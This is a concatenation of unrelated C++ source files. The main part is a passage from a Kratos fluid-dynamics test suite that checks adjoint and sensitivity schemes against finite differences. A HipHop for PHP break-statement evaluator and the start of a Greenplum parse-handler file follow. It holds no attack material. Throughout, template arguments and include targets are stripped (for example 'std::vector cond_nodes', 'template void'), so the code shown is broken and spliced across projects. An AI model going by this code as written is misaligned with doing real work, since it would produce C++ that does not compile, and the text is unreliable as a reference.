"custom_strategies/schemes/velocity_bossak_adjoint_scheme.h" #include "custom_strategies/schemes/simple_steady_sensitivity_builder_scheme.h" #include "custom_strategies/schemes/velocity_bossak_sensitivity_builder_scheme.h" #include "fluid_dynamics_application_variables.h" namespace Kratos { namespace Testing { void SetModelPartOldValues( ModelPart& rModelPart) { // this correspods to t = t - 1 time step in forward time const double p_1 = 2.3; const double p_2 = 3.5; const double p_3 = 6.2; const array_1d v_1{2.3, 4.2, 3.6}; const array_1d v_2{3.1, 2.4, 6.7}; const array_1d v_3{2.5, 1.8, 6.3}; const array_1d a_1{4.9, 3.5, 7.9}; const array_1d a_2{1.7, 3.0, 3.6}; const array_1d a_3{2.4, 2.0, 4.7}; rModelPart.GetNode(1).FastGetSolutionStepValue(VELOCITY) = v_1; rModelPart.GetNode(1).FastGetSolutionStepValue(PRESSURE) = p_1; rModelPart.GetNode(1).FastGetSolutionStepValue(ACCELERATION) = a_1; rModelPart.GetNode(2).FastGetSolutionStepValue(VELOCITY) = v_2; rModelPart.GetNode(2).FastGetSolutionStepValue(PRESSURE) = p_2; rModelPart.GetNode(2).FastGetSolutionStepValue(ACCELERATION) = a_2; rModelPart.GetNode(3).FastGetSolutionStepValue(VELOCITY) = v_3; rModelPart.GetNode(3).FastGetSolutionStepValue(PRESSURE) = p_3; rModelPart.GetNode(3).FastGetSolutionStepValue(ACCELERATION) = a_3; } void SetModelPartCurrentValues( ModelPart& rModelPart) { // this correspods to t = t time step in forward time // this is where we calculate testing derivatives const double p_1 = 1.5; const double p_2 = 2.7; const double p_3 = 1.9; const array_1d v_1{1.2, 3.1, 2.4}; const array_1d v_2{2.2, 3.5, 3.8}; const array_1d v_3{1.8, 2.3, 2.5}; const array_1d a_1{3.2, 5.7, 8.4}; const array_1d a_2{2.4, 3.9, 7.8}; const array_1d a_3{3.9, 2.6, 9.5}; rModelPart.GetNode(1).FastGetSolutionStepValue(VELOCITY) = v_1; rModelPart.GetNode(1).FastGetSolutionStepValue(PRESSURE) = p_1; rModelPart.GetNode(1).FastGetSolutionStepValue(ACCELERATION) = a_1; rModelPart.GetNode(2).FastGetSolutionStepValue(VELOCITY) = v_2; rModelPart.GetNode(2).FastGetSolutionStepValue(PRESSURE) = p_2; rModelPart.GetNode(2).FastGetSolutionStepValue(ACCELERATION) = a_2; rModelPart.GetNode(3).FastGetSolutionStepValue(VELOCITY) = v_3; rModelPart.GetNode(3).FastGetSolutionStepValue(PRESSURE) = p_3; rModelPart.GetNode(3).FastGetSolutionStepValue(ACCELERATION) = a_3; } void SetModelPartNextalues( ModelPart& rModelPart) { // this correspods to t = t + 1 time step in forward time // this is required for adjoints since adjoints are calculated backwards in time, // hence these values are loaded to fille the buffer of adjoint model part const double p_1 = 7.5; const double p_2 = 9.7; const double p_3 = 2.9; const array_1d v_1{3.4, 7.1, 2.4}; const array_1d v_2{2.7, 4.7, 4.8}; const array_1d v_3{2.4, 6.3, 3.5}; const array_1d a_1{3.9, 7.9, 4.8}; const array_1d a_2{6.3, 4.5, 5.7}; const array_1d a_3{4.6, 3.5, 3.2}; rModelPart.GetNode(1).FastGetSolutionStepValue(VELOCITY) = v_1; rModelPart.GetNode(1).FastGetSolutionStepValue(PRESSURE) = p_1; rModelPart.GetNode(1).FastGetSolutionStepValue(ACCELERATION) = a_1; rModelPart.GetNode(2).FastGetSolutionStepValue(VELOCITY) = v_2; rModelPart.GetNode(2).FastGetSolutionStepValue(PRESSURE) = p_2; rModelPart.GetNode(2).FastGetSolutionStepValue(ACCELERATION) = a_2; rModelPart.GetNode(3).FastGetSolutionStepValue(VELOCITY) = v_3; rModelPart.GetNode(3).FastGetSolutionStepValue(PRESSURE) = p_3; rModelPart.GetNode(3).FastGetSolutionStepValue(ACCELERATION) = a_3; // set adjoint solution values const array_1d a_v_1_1{3.2, 1.1, 4.4}; const array_1d a_v_2_1{4.8, 8.3, 5.1}; const array_1d a_v_3_1{2.7, 7.5, 6.2}; const array_1d a_v_1_2{1.3, 2.1, 4.4}; const array_1d a_v_2_2{4.2, 5.3, 4.1}; const array_1d a_v_3_2{6.2, 7.7, 3.2}; const array_1d a_v_1_3{3.9, 2.9, 1.5}; const array_1d a_v_2_3{4.8, 4.5, 3.3}; const array_1d a_v_3_3{2.4, 3.1, 2.2}; rModelPart.GetNode(1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_1) = a_v_1_1; rModelPart.GetNode(1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_2) = a_v_2_1; rModelPart.GetNode(1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_3) = a_v_3_1; rModelPart.GetNode(2).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_1) = a_v_1_2; rModelPart.GetNode(2).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_2) = a_v_2_2; rModelPart.GetNode(2).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_3) = a_v_3_2; rModelPart.GetNode(3).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_1) = a_v_1_3; rModelPart.GetNode(3).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_2) = a_v_2_3; rModelPart.GetNode(3).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_3) = a_v_3_3; } void AddPrimalDofs(ModelPart& rModelPart) { for (auto& r_node : rModelPart.Nodes()) { r_node.AddDof(VELOCITY_X); r_node.AddDof(VELOCITY_Y); r_node.AddDof(PRESSURE); } } void SetPrimalModelPartValues( ModelPart& rModelPart) { AddPrimalDofs(rModelPart); double previous_time = 1.2; double current_time = 1.6; rModelPart.CloneTimeStep(previous_time); rModelPart.GetProcessInfo().SetValue(DOMAIN_SIZE, 2); rModelPart.GetProcessInfo().SetValue(DYNAMIC_TAU, 1.3); for (auto& r_node : rModelPart.Nodes()) { r_node.FastGetSolutionStepValue(DENSITY) = 1.2; r_node.FastGetSolutionStepValue(VISCOSITY) = 2.5; r_node.SetValue(Y_WALL, 2.0); } SetModelPartOldValues(rModelPart); rModelPart.CloneTimeStep(current_time); SetModelPartCurrentValues(rModelPart); } void AddAdjointDofs(ModelPart& rModelPart) { for (auto& r_node : rModelPart.Nodes()) { r_node.AddDof(ADJOINT_FLUID_VECTOR_1_X); r_node.AddDof(ADJOINT_FLUID_VECTOR_1_Y); r_node.AddDof(ADJOINT_FLUID_SCALAR_1); } } void UpdateAdjointModelPartRelaxedAcceleration( ModelPart& rAdjointModelPart, const ModelPart& rPrimalModelPart, const double AlphaBossak) { // compute relaxed acceleration // TODO: remove this when VMS elements no longer depend on Acceleration for adjoints. // Currently, primal_output_process of h5 is used to calculate relaxed acceleration // and to overwrite Acceleration with the relaxed acceleration. This is planned // to be removed, and replaced with RELAXED_ACCELERATION variable so ACCELERATION // and RELAXED_ACCELERATION will be available. const auto& r_primal_nodes = rPrimalModelPart.Nodes(); auto& r_adjoint_nodes = rAdjointModelPart.Nodes(); for (unsigned int i = 0; i < r_primal_nodes.size(); ++i) { const auto& r_primal_node = *(r_primal_nodes.begin() + i); auto& r_adjoint_node = *(r_adjoint_nodes.begin() + i); const auto& tn_minus_1 = r_primal_node.FastGetSolutionStepValue(ACCELERATION, 1); const auto& tn_0 = r_primal_node.FastGetSolutionStepValue(ACCELERATION); const auto& tn_plus_1 = r_adjoint_node.FastGetSolutionStepValue(ACCELERATION, 1); r_adjoint_node.FastGetSolutionStepValue(ACCELERATION) = (1 - AlphaBossak) * tn_0 + AlphaBossak * tn_minus_1; r_adjoint_node.FastGetSolutionStepValue(ACCELERATION, 1) = (1 - AlphaBossak) * tn_plus_1 + AlphaBossak * tn_0; } } void SetAdjointModelPartValues( ModelPart& rAdjointPrimalModelPart, const ModelPart& rPrimalModelPart, const double AlphaBossak = -0.3) { AddAdjointDofs(rAdjointPrimalModelPart); double current_time = 1.6; double next_time = 2.0; rAdjointPrimalModelPart.CloneTimeStep(next_time); rAdjointPrimalModelPart.GetProcessInfo().SetValue(DOMAIN_SIZE, 2); rAdjointPrimalModelPart.GetProcessInfo().SetValue(DYNAMIC_TAU, 1.3); for (auto& r_node : rAdjointPrimalModelPart.Nodes()) { r_node.FastGetSolutionStepValue(DENSITY) = 1.2; r_node.FastGetSolutionStepValue(VISCOSITY) = 2.5; r_node.SetValue(Y_WALL, 2.0); } SetModelPartNextalues(rAdjointPrimalModelPart); rAdjointPrimalModelPart.CloneTimeStep(current_time); SetModelPartCurrentValues(rAdjointPrimalModelPart); UpdateAdjointModelPartRelaxedAcceleration(rAdjointPrimalModelPart, rPrimalModelPart, AlphaBossak); } void GenerateTestModelPart( ModelPart& rModelPart, const std::string& rElementName, const std::string& rConditionName) { // Set buffer size rModelPart.SetBufferSize(2); // Variables addition rModelPart.AddNodalSolutionStepVariable(DENSITY); rModelPart.AddNodalSolutionStepVariable(REACTION); rModelPart.AddNodalSolutionStepVariable(PRESSURE); rModelPart.AddNodalSolutionStepVariable(VELOCITY); rModelPart.AddNodalSolutionStepVariable(BODY_FORCE); rModelPart.AddNodalSolutionStepVariable(MESH_VELOCITY); rModelPart.AddNodalSolutionStepVariable(EXTERNAL_PRESSURE); rModelPart.AddNodalSolutionStepVariable(VISCOSITY); rModelPart.AddNodalSolutionStepVariable(NORMAL); rModelPart.AddNodalSolutionStepVariable(ACCELERATION); rModelPart.AddNodalSolutionStepVariable(DISPLACEMENT); rModelPart.AddNodalSolutionStepVariable(ADJOINT_FLUID_VECTOR_1); rModelPart.AddNodalSolutionStepVariable(ADJOINT_FLUID_VECTOR_2); rModelPart.AddNodalSolutionStepVariable(ADJOINT_FLUID_VECTOR_3); rModelPart.AddNodalSolutionStepVariable(ADJOINT_FLUID_SCALAR_1); rModelPart.AddNodalSolutionStepVariable(AUX_ADJOINT_FLUID_VECTOR_1); auto p_elem_prop = rModelPart.CreateNewProperties(1); // Element creation auto p_node_1 = rModelPart.CreateNewNode(1, 0.0, 0.0, 0.0); auto p_node_2 = rModelPart.CreateNewNode(2, 1.0, 0.0, 0.0); auto p_node_3 = rModelPart.CreateNewNode(3, 0.0, 1.0, 0.0); std::vector cond_nodes{1, 2}; std::vector elem_nodes{1, 2, 3}; p_node_1->Set(SLIP, true); p_node_2->Set(SLIP, true); p_node_1->SetValue(Y_WALL, 2.0); p_node_2->SetValue(Y_WALL, 3.0); rModelPart.CreateNewElement(rElementName, 1, elem_nodes, p_elem_prop); auto p_cond = rModelPart.CreateNewCondition(rConditionName, 1, cond_nodes, p_elem_prop); p_cond->Set(SLIP, true); auto& sub_model_part = rModelPart.CreateSubModelPart("Structure"); sub_model_part.AddNodes({1, 2, 3}); sub_model_part.AddElements({1}); } template void EvaluateSystemContributions( Scheme& rScheme, Matrix& rLHS, Vector& rRHS, ModelPart& rModelPart, const bool UpdateSolution = false) { typename Scheme::TSystemMatrixType A; typename Scheme::TSystemVectorType b; typename Scheme::TSystemVectorType x; typename Scheme::DofsArrayType dx; std::vector ids; NormalCalculationUtils().CalculateOnSimplex(rModelPart, 2); rScheme.Initialize(rModelPart); rScheme.InitializeElements(rModelPart); rScheme.InitializeConditions(rModelPart); rScheme.InitializeSolutionStep(rModelPart, A, x, b); rScheme.InitializeNonLinIteration(rModelPart, A, x, b); rScheme.CalculateSystemContributions(rModelPart.GetElement(1), rLHS, rRHS, ids, rModelPart.GetProcessInfo()); Matrix aux_lhs; Vector aux_rhs; rScheme.CalculateSystemContributions(rModelPart.GetCondition(1), aux_lhs, aux_rhs, ids, rModelPart.GetProcessInfo()); // do the assembly for (unsigned int i = 0; i < aux_lhs.size1(); ++i) { for (unsigned int j = 0; j < aux_lhs.size2(); ++j) { rLHS(i, j) += aux_lhs(i, j); } rRHS[i] += aux_rhs[i]; } if (UpdateSolution) { rScheme.Update(rModelPart, dx, A, x, b); } rScheme.FinalizeNonLinIteration(rModelPart, A, x, b); rScheme.FinalizeSolutionStep(rModelPart, A, x, b); } Vector EvaluateSteadyResidual( ModelPart& rModelPart) { using SparseSpaceType = UblasSpace>; using LocalSpaceType = UblasSpace; ResidualBasedSimpleSteadyScheme primal_scheme( 1.0, 1.0, 2); Matrix lhs; Vector rhs; EvaluateSystemContributions(primal_scheme, lhs, rhs, rModelPart); return rhs; } Vector EvaluateBossakResidual( ModelPart& rModelPart) { using SparseSpaceType = UblasSpace>; using LocalSpaceType = UblasSpace; ResidualBasedPredictorCorrectorVelocityBossakSchemeTurbulent primal_scheme( -0.3, 0.0, 2); Matrix lhs; Vector rhs; EvaluateSystemContributions(primal_scheme, lhs, rhs, rModelPart); return rhs; } template void EvaluateResidualShapeSensitivities( Matrix& rOutput, ModelPart& rModelPart, TSensitivityBuilderSchemeType& rSensitivityBuilderScheme, TResponseType& rResponse) { Vector adjoint_values; GlobalPointersVector gp_vector; NormalCalculationUtils().CalculateOnSimplex(rModelPart, 2); NormalCalculationUtils().CalculateNormalShapeDerivativesOnSimplex( rModelPart.Conditions(), 2); rSensitivityBuilderScheme.Initialize(rModelPart, rModelPart, rResponse); rSensitivityBuilderScheme.InitializeSolutionStep(rModelPart, rModelPart, rResponse); rSensitivityBuilderScheme.CalculateResidualSensitivityMatrix( rModelPart.GetElement(1), adjoint_values, rOutput, gp_vector, SHAPE_SENSITIVITY, rModelPart.GetProcessInfo()); Matrix aux_matrix; rSensitivityBuilderScheme.CalculateResidualSensitivityMatrix( rModelPart.GetCondition(1), adjoint_values, aux_matrix, gp_vector, SHAPE_SENSITIVITY, rModelPart.GetProcessInfo()); // do the assembly for (unsigned int i = 0; i < aux_matrix.size1(); ++i) { for (unsigned int j = 0; j < aux_matrix.size2(); ++j) { rOutput(i, j) += aux_matrix(i, j); } } } void UpdateSensitivities( Matrix& rOutput, const Vector& rResidual, const Vector& rResidual_0, const double Delta, const unsigned int RowIndex) { row(rOutput, RowIndex) = (rResidual - rResidual_0) / Delta; } void UpdateSensitivities( Vector& rOutput, const double rValue, const double rValue_0, const double Delta, const unsigned int RowIndex) { rOutput[RowIndex] = (rValue - rValue_0) / Delta; } void ResizeOutput( Matrix& rOutput, const unsigned int Size) { rOutput.resize(Size, 9); } void ResizeOutput( Vector& rOutput, const unsigned int Size) { rOutput.resize(Size); } template void CalculateFiniteDifferenceSensitivities( TOutputType& rOutput, ModelPart& rModelPart, const std::vector*>& rVariables, const TResponseFunctor& rResidualFunction, const double Delta, const unsigned int DerivativeStep = 0) { const auto& rhs_0 = rResidualFunction(rModelPart); const int number_of_nodes = rModelPart.NumberOfNodes(); const int number_of_derivatives = rVariables.size(); ResizeOutput(rOutput, number_of_nodes * number_of_derivatives); unsigned int local_index = 0; for (auto& r_node : rModelPart.Nodes()) { for (const auto p_variable : rVariables) { if (*p_variable == SHAPE_SENSITIVITY_X) { r_node.X() += Delta; } else if (*p_variable == SHAPE_SENSITIVITY_Y) { r_node.Y() += Delta; } else if (*p_variable == SHAPE_SENSITIVITY_Z) { r_node.Z() += Delta; } else { r_node.FastGetSolutionStepValue(*p_variable, DerivativeStep) += Delta; } const auto& rhs = rResidualFunction(rModelPart); UpdateSensitivities(rOutput, rhs, rhs_0, Delta, local_index++); if (*p_variable == SHAPE_SENSITIVITY_X) { r_node.X() -= Delta; } else if (*p_variable == SHAPE_SENSITIVITY_Y) { r_node.Y() -= Delta; } else if (*p_variable == SHAPE_SENSITIVITY_Z) { r_node.Z() -= Delta; } else { r_node.FastGetSolutionStepValue(*p_variable, DerivativeStep) -= Delta; } } } } KRATOS_TEST_CASE_IN_SUITE(SimpleSteadySensitivityBuilderScheme, FluidDynamicsApplicationFastSuite) { Model model; // Create a primal test element inside a modelpart auto& primal_model_part = model.CreateModelPart("Primal"); GenerateTestModelPart(primal_model_part, "VMS2D3N", "MonolithicWallCondition2D2N"); SetPrimalModelPartValues(primal_model_part); // Create a adjoint test element inside a modelpart auto& adjoint_model_part = model.CreateModelPart("Adjoint"); GenerateTestModelPart(adjoint_model_part, "VMSAdjointElement2D", "AdjointMonolithicWallCondition2D2N"); SetAdjointModelPartValues(adjoint_model_part, primal_model_part); VariableUtils().SetHistoricalVariableToZero(ACCELERATION, primal_model_part.Nodes()); VariableUtils().SetHistoricalVariableToZero(ACCELERATION, adjoint_model_part.Nodes()); // compute adjoint sensitivities VelocityPressureNormSquareResponseFunction response( Parameters(R"( { "main_model_part_name": "Adjoint", "norm_model_part_name": "Adjoint" })"), model); SimpleSteadySensitivityBuilderScheme sensitivity_builder_scheme(2, 3); Matrix analytical_sensitivities; EvaluateResidualShapeSensitivities(analytical_sensitivities, adjoint_model_part, sensitivity_builder_scheme, response); // compute finite difference sensitivities const double delta = 1e-8; Matrix fd_sensitivities; CalculateFiniteDifferenceSensitivities(fd_sensitivities, primal_model_part, {&SHAPE_SENSITIVITY_X, &SHAPE_SENSITIVITY_Y}, EvaluateSteadyResidual, delta); KRATOS_CHECK_MATRIX_NEAR(fd_sensitivities, analytical_sensitivities, 1e-6); } KRATOS_TEST_CASE_IN_SUITE(SimpleSteadyAdjointScheme, FluidDynamicsApplicationFastSuite) { using SparseSpaceType = UblasSpace>; using LocalSpaceType = UblasSpace; Model model; // Create a primal test element inside a modelpart auto& primal_model_part = model.CreateModelPart("Primal"); GenerateTestModelPart(primal_model_part, "VMS2D3N", "MonolithicWallCondition2D2N"); SetPrimalModelPartValues(primal_model_part); // Create a adjoint test element inside a modelpart auto& adjoint_model_part = model.CreateModelPart("Adjoint"); GenerateTestModelPart(adjoint_model_part, "VMSAdjointElement2D", "AdjointMonolithicWallCondition2D2N"); SetAdjointModelPartValues(adjoint_model_part, primal_model_part); VariableUtils().SetHistoricalVariableToZero(ACCELERATION, primal_model_part.Nodes()); VariableUtils().SetHistoricalVariableToZero(ACCELERATION, adjoint_model_part.Nodes()); // compute adjoint sensitivities VelocityPressureNormSquareResponseFunction response( Parameters(R"( { "main_model_part_name": "Adjoint", "norm_model_part_name": "Adjoint" })"), model); SimpleSteadyAdjointScheme adjoint_scheme( Kratos::make_shared(response), 2, 3); Matrix lhs; Vector rhs; EvaluateSystemContributions(adjoint_scheme, lhs, rhs, adjoint_model_part); // compute finite difference sensitivities const double delta = 1e-8; Matrix fd_sensitivities; CalculateFiniteDifferenceSensitivities(fd_sensitivities, primal_model_part, {&VELOCITY_X, &VELOCITY_Y, &PRESSURE}, EvaluateSteadyResidual, delta); KRATOS_CHECK_MATRIX_NEAR(fd_sensitivities, lhs, 1e-6); } KRATOS_TEST_CASE_IN_SUITE(VelocityBossakSensitivityBuilderScheme, FluidDynamicsApplicationFastSuite) { Model model; // Create a primal test element inside a modelpart auto& primal_model_part = model.CreateModelPart("Primal"); GenerateTestModelPart(primal_model_part, "VMS2D3N", "MonolithicWallCondition2D2N"); SetPrimalModelPartValues(primal_model_part); // Create a adjoint test element inside a modelpart auto& adjoint_model_part = model.CreateModelPart("Adjoint"); GenerateTestModelPart(adjoint_model_part, "VMSAdjointElement2D", "AdjointMonolithicWallCondition2D2N"); SetAdjointModelPartValues(adjoint_model_part, primal_model_part); // compute adjoint sensitivities VelocityPressureNormSquareResponseFunction response( Parameters(R"( { "main_model_part_name": "Adjoint", "norm_model_part_name": "Adjoint" })"), model); Matrix analytical_sensitivities; const double alpha_bossak = -0.3; VelocityBossakSensitivityBuilderScheme sensitivity_builder_scheme(alpha_bossak, 2, 3); EvaluateResidualShapeSensitivities(analytical_sensitivities, adjoint_model_part, sensitivity_builder_scheme, response); // compute finite difference sensitivities const double delta = 1e-8; Matrix fd_sensitivities; CalculateFiniteDifferenceSensitivities(fd_sensitivities, primal_model_part, {&SHAPE_SENSITIVITY_X, &SHAPE_SENSITIVITY_Y}, EvaluateBossakResidual, delta); KRATOS_CHECK_MATRIX_NEAR(fd_sensitivities, analytical_sensitivities, 1e-6); } KRATOS_TEST_CASE_IN_SUITE(VelocityBossakAdjointSchemeLHS, FluidDynamicsApplicationFastSuite) { using SparseSpaceType = UblasSpace>; using LocalSpaceType = UblasSpace; Model model; // Create a primal test element inside a modelpart auto& primal_model_part = model.CreateModelPart("Primal"); GenerateTestModelPart(primal_model_part, "VMS2D3N", "MonolithicWallCondition2D2N"); SetPrimalModelPartValues(primal_model_part); const double delta_time = primal_model_part.GetProcessInfo()[DELTA_TIME]; // Create a adjoint test element inside a modelpart auto& adjoint_model_part = model.CreateModelPart("Adjoint"); GenerateTestModelPart(adjoint_model_part, "VMSAdjointElement2D", "AdjointMonolithicWallCondition2D2N"); SetAdjointModelPartValues(adjoint_model_part, primal_model_part); // compute adjoint sensitivities VelocityPressureNormSquareResponseFunction response( Parameters(R"( { "main_model_part_name": "Adjoint", "norm_model_part_name": "Adjoint" })"), model); VelocityBossakAdjointScheme adjoint_scheme( Parameters(R"({ "name" : "adjoint_bossak", "scheme_type" : "bossak", "alpha_bossak" : -0.3 })"), Kratos::make_shared(response), 2, 3); Matrix lhs; Vector rhs; EvaluateSystemContributions(adjoint_scheme, lhs, rhs, adjoint_model_part); // compute finite difference sensitivities const double delta = 1e-7; Matrix fd_sensitivities_1; CalculateFiniteDifferenceSensitivities(fd_sensitivities_1, primal_model_part, {&VELOCITY_X, &VELOCITY_Y, &PRESSURE}, EvaluateBossakResidual, delta); Matrix fd_sensitivities_2; // using DISPLACEMENT_X as a dummy variable. because, there is no variable for // PRESSURE time derivative. CalculateFiniteDifferenceSensitivities(fd_sensitivities_2, primal_model_part, {&ACCELERATION_X, &ACCELERATION_Y, &DISPLACEMENT_X}, EvaluateBossakResidual, delta); const double alpha_bossak = -0.3; const double beta = 0.25 * (1.0 - alpha_bossak) * (1.0 - alpha_bossak); const double gamma = 0.5 - alpha_bossak; const double c6 = gamma / (beta * delta_time); const double c7 = 1.0 / (delta_time * delta_time * beta); fd_sensitivities_1 *= c6; fd_sensitivities_2 *= c7; noalias(fd_sensitivities_1) += fd_sensitivities_2; KRATOS_CHECK_MATRIX_NEAR(fd_sensitivities_1, lhs, 1e-6); } KRATOS_TEST_CASE_IN_SUITE(VelocityBossakAdjointSchemeRHS, FluidDynamicsApplicationFastSuite) { using SparseSpaceType = UblasSpace>; using LocalSpaceType = UblasSpace; Model model; Parameters primal_response_parameters(R"({ "main_model_part_name" : "Primal", "norm_model_part_name" : "Primal.Structure" })"); // Create a primal test element inside a modelpart auto& primal_model_part = model.CreateModelPart("Primal"); GenerateTestModelPart(primal_model_part, "VMS2D3N", "MonolithicWallCondition2D2N"); SetPrimalModelPartValues(primal_model_part); const double delta_time = primal_model_part.GetProcessInfo()[DELTA_TIME]; VelocityPressureNormSquareResponseFunction primal_response(primal_response_parameters, model); primal_response.Initialize(); // Create a adjoint test element inside a modelpart auto& adjoint_model_part = model.CreateModelPart("Adjoint"); GenerateTestModelPart(adjoint_model_part, "VMSAdjointElement2D", "AdjointMonolithicWallCondition2D2N"); SetAdjointModelPartValues(adjoint_model_part, primal_model_part); Parameters adjoint_response_parameters(R"({ "main_model_part_name" : "Adjoint", "norm_model_part_name" : "Adjoint.Structure" })"); // compute adjoint sensitivities VelocityPressureNormSquareResponseFunction adjoint_response( adjoint_response_parameters, model); adjoint_response.Initialize(); VelocityBossakAdjointScheme adjoint_scheme( Parameters(R"({ "name" : "adjoint_bossak", "scheme_type" : "bossak", "alpha_bossak" : -0.3 })"), Kratos::make_shared(adjoint_response), 2, 3); Matrix lhs; Vector rhs; EvaluateSystemContributions(adjoint_scheme, lhs, rhs, adjoint_model_part, true); const std::vector*> first_derivative_variables = { &VELOCITY_X, &VELOCITY_Y, &PRESSURE}; const std::vector*> second_derivative_variables = { &ACCELERATION_X, &ACCELERATION_Y, &DISPLACEMENT_X}; // compute time scheme constants const double alpha_bossak = -0.3; const double beta = 0.25 * (1.0 - alpha_bossak) * (1.0 - alpha_bossak); const double gamma = 0.5 - alpha_bossak; const double c0 = 1.0 - gamma / beta; const double c1 = 1.0 / (beta * delta_time); const double c2 = (1.0 - 0.5 * gamma / beta) * delta_time; const double c3 = (1.0 - 0.5 / beta); const double c4 = (beta - gamma * (gamma + 0.5)) / (beta * beta * delta_time); const double c5 = -1.0 * (gamma + 0.5) / (beta * beta * delta_time * delta_time); const double c6 = gamma / (beta * delta_time); const double c7 = 1.0 / (delta_time * delta_time * beta); const double delta = 1e-7; // compute objective finite difference sensitivities const auto& objective_Value_function = [&](ModelPart& rModelPart) -> double { return primal_response.CalculateValue(rModelPart); }; Vector objective_first_derivatives; CalculateFiniteDifferenceSensitivities( objective_first_derivatives, primal_model_part, first_derivative_variables, objective_Value_function, delta); Vector objective_second_derivatives; CalculateFiniteDifferenceSensitivities( objective_second_derivatives, primal_model_part, second_derivative_variables, objective_Value_function, delta); // compute finite difference sensitivities Matrix residual_first_derivatives; CalculateFiniteDifferenceSensitivities( residual_first_derivatives, primal_model_part, first_derivative_variables, EvaluateBossakResidual, delta); Matrix residual_second_derivatives; // using DISPLACEMENT_X as a dummy variable. because, there is no variable // for PRESSURE time derivative. CalculateFiniteDifferenceSensitivities( residual_second_derivatives, primal_model_part, second_derivative_variables, EvaluateBossakResidual, delta); // compute old adjoint values Vector lambda_1(9, 0.0), lambda_2(9, 0.0), lambda_3(9, 0.0), lambda_1_old(9, 0.0), lambda_2_old(9, 0.0), lambda_3_old(9, 0.0); for (unsigned int a = 0; a < 3; ++a) { const auto& vec_1 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_1); const auto& vec_2 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_2); const auto& vec_3 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_3); const auto& vec_old_1 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_1, 1); const auto& vec_old_2 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_2, 1); const auto& vec_old_3 = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_VECTOR_3, 1); for (unsigned int i = 0; i < 2; ++i) { lambda_1[a * 3 + i] = vec_1[i]; lambda_2[a * 3 + i] = vec_2[i]; lambda_3[a * 3 + i] = vec_3[i]; lambda_1_old[a * 3 + i] = vec_old_1[i]; lambda_2_old[a * 3 + i] = vec_old_2[i]; lambda_3_old[a * 3 + i] = vec_old_3[i]; } lambda_1[a * 3 + 2] = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_SCALAR_1); lambda_1_old[a * 3 + 2] = adjoint_model_part.GetNode(a + 1).FastGetSolutionStepValue(ADJOINT_FLUID_SCALAR_1, 1); } // compute and check lambda_2 using finite difference approach Vector fd_lambda_2 = -objective_first_derivatives - prod(residual_first_derivatives, lambda_1) + lambda_2_old * c0 - lambda_3_old * c1; // making the followings zero because, these values are not stored in ADJOINT_FLUID_VECTOR_2 variable, and those contributions are // directly taken to RHS from objective_first_derivatives and prod(residual_first_derivatives, lambda_1) fd_lambda_2[2] = fd_lambda_2[5] = fd_lambda_2[8] = 0.0; KRATOS_CHECK_VECTOR_NEAR(fd_lambda_2, lambda_2, 1e-6); // compute and check lambda_3 using finite difference approach Vector fd_lambda_3 = -objective_second_derivatives - prod(residual_second_derivatives, lambda_1) + lambda_2_old * c2 + lambda_3_old * c3; // making the followings zero because, these values are not stored in ADJOINT_FLUID_VECTOR_2 variable, and those contributions are // directly taken to RHS from objective_first_derivatives and prod(residual_first_derivatives, lambda_1) fd_lambda_3[2] = fd_lambda_3[5] = fd_lambda_3[8] = 0.0; KRATOS_CHECK_VECTOR_NEAR(fd_lambda_3, lambda_3, 1e-6); // compute and check rhs using finite difference sensitivities Vector fd_rhs = -objective_first_derivatives * c6 - objective_second_derivatives * c7 + lambda_2_old * c4 + lambda_3_old * c5 - prod(lhs, lambda_1); KRATOS_CHECK_VECTOR_NEAR(fd_rhs, rhs, 1e-6); } } // namespace Testing } // namespace Kratos. src/runtime/eval/ast/break_statement.cpp1-10 /* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010- Facebook, Inc. (http://www.facebook.com) | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include #include #include namespace HPHP { namespace Eval { /////////////////////////////////////////////////////////////////////////////// BreakStatement::BreakStatement(STATEMENT_ARGS, ExpressionPtr level, bool isBreak) : Statement(STATEMENT_PASS), m_level(level), m_isBreak(isBreak) {} Statement *BreakStatement::optimize(VariableEnvironment &env) { Eval::optimize(env, m_level); return NULL; } void BreakStatement::eval(VariableEnvironment &env) const { if (env.isGotoing()) return; ENTER_STMT; int64 level = m_level ? m_level->eval(env).toInt64() : 1; if (level > 0) { if (m_isBreak) { env.setBreak(level); } else { env.setBreak(-level); } } } void BreakStatement::dump(std::ostream &out) const { if (m_isBreak) { out << "break"; } else { out << "continue"; } if (m_level) { out << " "; m_level->dump(out); } out << ";\n"; } /////////////////////////////////////////////////////////////////////////////// } } vitessedata/gpdb.4.3.99.x //--------------------------------------------------------------------------- // Greenplum Database // Copyright (C) 2011 EMC Corp. // // @filename: // CParseHandlerScalarSubqueryQuantified.cpp // // @doc: // Implementation of the SAX parse handler class for ANY and ALL subquery // operators. // // @owner: // // // @test: // // //--------------------------------------------------------------------------- #include "naucrates/dxl/parser/CParseHandlerScalarSubqueryQuantified.h" #include "naucrates/dxl/parser/CParseHandlerFactory.h" #include "naucrates/dxl/parser/CParseHandlerLogicalOp.h" #include "naucrates/dxl/operators/CDXLOperatorFactory.h" using namespace gpdxl; 